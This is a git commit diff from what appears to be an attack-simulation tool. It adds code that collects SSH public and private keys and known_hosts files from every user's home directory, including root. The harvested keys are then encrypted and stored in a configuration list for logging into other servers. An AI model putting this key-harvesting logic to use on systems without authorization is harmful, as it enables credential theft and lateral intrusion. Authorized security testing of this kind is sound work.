SSH keys are now encrypted and added to database

This commit is contained in:
Vakaris 2018-05-24 16:59:22 +03:00
parent e8b388482b
commit 4197ab12a3
4 changed files with 71 additions and 17 deletions

View File

@ -251,6 +251,7 @@ class Configuration(object):
exploit_password_list = ["Password1!", "1234", "password", "12345678"] exploit_password_list = ["Password1!", "1234", "password", "12345678"]
exploit_lm_hash_list = [] exploit_lm_hash_list = []
exploit_ntlm_hash_list = [] exploit_ntlm_hash_list = []
exploit_ssh_keys = []
# smb/wmi exploiter # smb/wmi exploiter
smb_download_timeout = 300 # timeout in seconds smb_download_timeout = 300 # timeout in seconds

View File

@ -1,6 +1,5 @@
import logging import logging
import pwd import pwd
import sys
import os import os
import glob import glob
@ -36,13 +35,13 @@ class SSHCollector(object):
possibly hashed) possibly hashed)
""" """
return {'name': name, 'home_dir': home_dir, 'public_key': None, return {'name': name, 'home_dir': home_dir, 'public_key': None,
'private_key': None, 'known_hosts': None} 'private_key': None, 'known_hosts': None}
@staticmethod @staticmethod
def get_home_dirs(): def get_home_dirs():
root_dir = SSHCollector.get_ssh_struct('root', '/') root_dir = SSHCollector.get_ssh_struct('root', '')
home_dirs = [SSHCollector.get_ssh_struct(x.pw_name,x.pw_dir) for x in pwd.getpwall() home_dirs = [SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) for x in pwd.getpwall()
if x.pw_dir.startswith('/home')] if x.pw_dir.startswith('/home')]
home_dirs.append(root_dir) home_dirs.append(root_dir)
return home_dirs return home_dirs
@ -54,14 +53,16 @@ class SSHCollector(object):
if os.path.isdir(path + directory): if os.path.isdir(path + directory):
try: try:
current_path = path + directory current_path = path + directory
# searching for public key # Searching for public key
if glob.glob(current_path+'*.pub'): if glob.glob(os.path.join(current_path, '*.pub')):
public = (glob.glob(current_path+'*.pub')[0]) # Getting first file in current path with .pub extension(public key)
public = (glob.glob(os.path.join(current_path, '*.pub'))[0])
LOG.info("Found public key in %s" % public) LOG.info("Found public key in %s" % public)
try: try:
with open(public) as f: with open(public) as f:
info['public_key'] = f.read() info['public_key'] = f.read()
private = public.rsplit('.', 1)[0] # By default private key has the same name as public, only without .pub
private = os.path.splitext(public)[0]
if os.path.exists(private): if os.path.exists(private):
try: try:
with open(private) as f: with open(private) as f:
@ -69,11 +70,13 @@ class SSHCollector(object):
LOG.info("Found private key in %s" % private) LOG.info("Found private key in %s" % private)
except (IOError, OSError): except (IOError, OSError):
pass pass
if os.path.exists(current_path + '/known_hosts'): # By default known hosts file is called 'known_hosts'
known_hosts = os.path.join(current_path, 'known_hosts')
if os.path.exists(known_hosts):
try: try:
with open(current_path + '/known_hosts') as f: with open(known_hosts) as f:
info['known_hosts'] = f.read() info['known_hosts'] = f.read()
LOG.info("Found known_hosts in %s" % current_path+'/known_hosts') LOG.info("Found known_hosts in %s" % known_hosts)
except (IOError, OSError): except (IOError, OSError):
pass pass
except (IOError, OSError): except (IOError, OSError):

View File

@ -167,6 +167,10 @@ class Telemetry(flask_restful.Resource):
@staticmethod @staticmethod
def process_system_info_telemetry(telemetry_json): def process_system_info_telemetry(telemetry_json):
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_creds({}, ssh_info)
Telemetry.add_system_info_creds_to_config({}, ssh_info)
if 'credentials' in telemetry_json['data']: if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials'] creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds) Telemetry.encrypt_system_info_creds(creds)
@ -186,15 +190,20 @@ class Telemetry(flask_restful.Resource):
creds[new_user] = creds.pop(user) creds[new_user] = creds.pop(user)
@staticmethod @staticmethod
def encrypt_system_info_creds(creds): def encrypt_system_info_creds(creds, ssh_info=None):
for user in creds: for user in creds:
for field in ['password', 'lm_hash', 'ntlm_hash']: for field in ['password', 'lm_hash', 'ntlm_hash']:
if field in creds[user]: if field in creds[user]:
# this encoding is because we might run into passwords which are not pure ASCII # this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8')) creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
if ssh_info:
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod @staticmethod
def add_system_info_creds_to_config(creds): def add_system_info_creds_to_config(creds, ssh_info=None):
for user in creds: for user in creds:
ConfigService.creds_add_username(user) ConfigService.creds_add_username(user)
if 'password' in creds[user]: if 'password' in creds[user]:
@ -203,6 +212,14 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user]: if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
if ssh_info:
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
if user['public_key'] and user['private_key']:
ConfigService.ssh_add_keys(user['public_key'], user['private_key'])
@staticmethod @staticmethod
def encrypt_exploit_creds(telemetry_json): def encrypt_exploit_creds(telemetry_json):

View File

@ -1,6 +1,7 @@
import copy import copy
import collections import collections
import functools import functools
import json
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from cc.database import mongo from cc.database import mongo
@ -504,6 +505,13 @@ SCHEMA = {
}, },
"default": [], "default": [],
"description": "List of NTLM hashes to use on exploits using credentials" "description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"description": "List of SSH key pairs to use, when trying to ssh into servers"
} }
} }
}, },
@ -800,7 +808,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
[ [
['basic', 'credentials', 'exploit_password_list'], ['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list'] ['internal', 'exploits', 'exploit_ntlm_hash_list'],
['internal', 'exploits', 'exploit_ssh_keys']
] ]
@ -888,6 +897,11 @@ class ConfigService:
def creds_add_ntlm_hash(ntlm_hash): def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash) ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def ssh_add_keys(public_key, private_key):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key})
@staticmethod @staticmethod
def update_config(config_json, should_encrypt): def update_config(config_json, should_encrypt):
if should_encrypt: if should_encrypt:
@ -979,7 +993,11 @@ class ConfigService:
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS] keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys: for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring): if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]] # Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
else:
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else: else:
flat_config[key] = encryptor.dec(flat_config[key]) flat_config[key] = encryptor.dec(flat_config[key])
return flat_config return flat_config
@ -992,4 +1010,19 @@ class ConfigService:
config_arr = config_arr[config_key_part] config_arr = config_arr[config_key_part]
for i in range(len(config_arr)): for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i]) # Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
pair['public_key'] = encryptor.enc(pair['public_key'])
pair['private_key'] = encryptor.enc(pair['private_key'])
else:
pair['public_key'] = encryptor.dec(pair['public_key'])
pair['private_key'] = encryptor.dec(pair['private_key'])
return pair